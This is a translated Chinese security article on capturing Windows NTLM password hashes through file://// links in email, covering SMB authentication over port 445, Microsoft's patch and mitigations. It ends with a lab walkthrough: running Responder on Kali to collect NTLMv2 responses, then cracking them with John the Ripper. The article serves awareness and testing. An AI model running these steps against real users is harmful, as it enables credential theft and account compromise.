一封郵件就能捕獲你的口令散列值
作者:星期五, 二月 1, 20190

惡意黑客發封電子郵件就能誘使你的Windows系統到遠程服務器上驗證身份——交出系統口令散列值。不信?試試就知道!

如果還沒采用比大多數安全專家建議的長得多的口令,那你最好注意了:只需要一封電子郵件,嵌入里面的鏈接就可以促使你的系統向遠程服務器發起身份驗證,作為驗證嘗試的系統口令散列值就是遠程服務器的囊中之物了。相信我,破解散列加密沒那么難的。

為什么可以通過電子郵件捕獲口令散列?

計算機通過軟件連接Web服務器時通常默認選擇匿名方式。匿名連接失敗1次或多次后,往往就切換成用當前活躍登錄憑證來嘗試連接。支持Windows集成驗證的計算機可能會以用戶的Windows身份驗證憑證自動登錄。用戶根本察覺不到這一切。只有自動驗證失敗,用戶才會看到彈出的手動登錄框。

自動化集成Windows身份驗證是很有必要的單點登錄(SSO)功能,尤其是對本地資源和受信服務器而言。該功能可使用戶在登錄公司環境中不同服務器時省去重復的登錄憑證提交操作。當前主流瀏覽器絕大多數都不同程度地支持這一功能。

1990年代末,惡意黑客濫用該功能捕獲用戶的Windows身份驗證憑證。他們向用戶發送電子郵件,誘使用戶點擊其中鏈接(或促使其電子郵件客戶端秘密響應內嵌不可見單像素Web信標),然后用戶的計算機就會悄悄連接上流氓服務器了。只要Windows集成身份驗證功能開啟(通常都開啟的),用戶的計算機便會向流氓遠程Web服務器發送用戶的企業登錄憑證。

事實上,發送出去的是用戶的局域網管理器(LM)或 Windows NT LM 網絡身份驗證挑戰響應,從中可以計算出用戶的LM或NT散列值。

微軟后來禁用了用戶用Windows身份驗證憑證向局域網外服務器的默認發送,在 IE 4 或 IE 5 時啟用了該新的默認發送功能。如今,你可以打開IE高級設置(互聯網選項->高級->啟用集成Windows身份驗證),勾選或取消該功能。很多人都認為這樣就阻止了上述攻擊。

但事實往往打臉,如今仍有很多方法可以誘使Windows(及其他支持Windows集成身份驗證的軟件程序,比如谷歌Chrome)向遠程服務器發送NTLM網絡身份驗證挑戰。最起碼,以 file:////<serverhostaddress>/<anyfilename> 的格式嵌入一條鏈接即可,例如:file:////contoso.com/index.html。

將上述例子中的 contoso.com 替換成有效遠程服務器域名,瀏覽器就會嘗試通過 TCP 445 端口上的NTLMv2連接(默認)向遠程服務器發起SMB/NetBIOS驗證。如果開啟NetBIOS監聽,該監聽進程會以有效SMB/NetBIOS挑戰響應NTLMv2連接,服務器便會獲得客戶端的NTLMv2挑戰響應,進而從中計算出用戶的NT散列值。剩下的就是破解該散列或者執行重放攻擊的事兒了。

除非禁止 TCP 445 端口出站流量,否則無論IE中Windows集成身份驗證設置是否勾選,結果都是一樣的——用戶NT散列值被獲取。

只要點擊內嵌的 file://// 鏈接,用戶的NTLM響應挑戰確實會被發送至遠程服務器。這一攻擊適用于:

  • 局域網和互聯網
  • 補丁齊全但保持默認設置的系統
  • Windows防火墻保持默認狀態的系統
  • 本地SAM賬戶和活動目錄(AD)賬戶

遠程攻擊者將會獲得你的主機名、域名和NTLMv2挑戰響應,且大多數企業環境中都有效。這可真是個不幸的消息。

可能的解決方案

好消息是:補丁完整的系統上,僅僅打開電子郵件而不點擊其中鏈接是不會受害的。曾經有補丁描述稱,在微軟 Office 365 中使用RTF電子郵件可以成功攻擊,但該漏洞似乎已補上。這是件好事,畢竟沒人想體驗僅僅打開一封電子郵件就中招的經歷。當然,我們都知道,誘使用戶點擊鏈接也不是多難。所以,切記:亂點郵件中的鏈接可能導致企業口令被盜。

網絡安全分析師 Rob Tompkins 對很多軟件進行了電郵鏈接盜口令的嘗試。他發現,即便封鎖了企業網絡的 TCP 445 端口以阻止惡意SMB/NetBIOS出站連接,只要某移動設備沒在本地防火墻中封禁該端口,當該設備離開企業網絡,其NTLM挑戰響應也會成功傳輸到遠程服務器上。這是個很重要的發現,Rob還找了個AlienVault規則/特征碼來識別此類攻擊。

安裝微軟補丁

2017年11月,微軟為 Windows 10 和 Windows Server 16 發布了相關補丁和注冊表設置,要求用戶啟用Windows防火墻并定義能夠使用 NTLM SSO 的網絡。這些要求意味著大量企業無法應用該補丁。另外,坊間傳聞,沒精確定義允許網絡的公司企業遭遇了服務宕機。所以,請小心謹慎地嘗試應用該補丁。

采用強口令并封禁未授權身份驗證端口

有足夠加密熵的強口令無論破解器有多強大都無法破解。強口令應成為對抗此類攻擊的頭號防御。另外,毫無疑問,封禁未授權出站身份驗證端口也是必須要做的,比如用普通過濾方法封掉MB/NETBIOS,以及濾掉 file://// 記號。

如何測試該漏洞

想要測試自家公司及其軟件是否免疫此類攻擊?搭個由Linux服務器和Windows客戶機組成的雙機實驗室,1個小時就能測出。

首先,下個基于Python的Responder程序。Responder是個超有用的工具,可以用來觀察基于網絡的口令散列盜竊。該工具具備自動“中毒”LLMNR(微軟Windows本地名稱解析協議)、NetBIOS和多播DNS(mDNS)的能力,可以當做流氓服務器使用(Web、NetBIOS、SQL、FTP和LDAP)。網上有很多視頻教人如何使用Responder中毒和捕獲NTLM挑戰響應。

如果不想自己花時間設置Responder,可以下載個 Kali Linux,然后如下操作:

  1. 以root賬戶登錄,口令是toor;
  2. 點擊Application菜單,選擇 09 Sniffing and Spoofing,運行Responder;
  3. 然后執行 responder -I eth0 –v (指出監聽IP地址);

在Windows機器上:

  1. 打開文件瀏覽器,連接 file:////<linuxIPaddress>/test.htlm (或者任意文件名);
  2. Responder將獲取NTLM挑戰響應;

想要破解散列值,回到Linux機器上:

  1. 打開終端會話;
  2. 輸入 cd /usr/share/responder/logs;
  3. 運行 John the Ripper 以破解該日志文件中的散列值john HTTP-NTLMv2… 或者 john SMB….

用黑客工具驗證各種漏洞還挺有意思。當然,最主要的是學到了點擊電子郵件中的鏈接可能會惹出大麻煩,從而在現實生活中不再犯蠢。

微軟2017年11月的補丁:

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/ADV170014

Responder地址:

https://github.com/SpiderLabs/Responder

Kali Linux 地址:

https://www.kali.org/news/kali-linux-2018-4-release/

相關閱讀

14億被盜口令任何人均可免費下載

調查|多數公司將在5年內淘汰口令

 

分享:
0

相關文章

寫一條評論

 

 

0條評論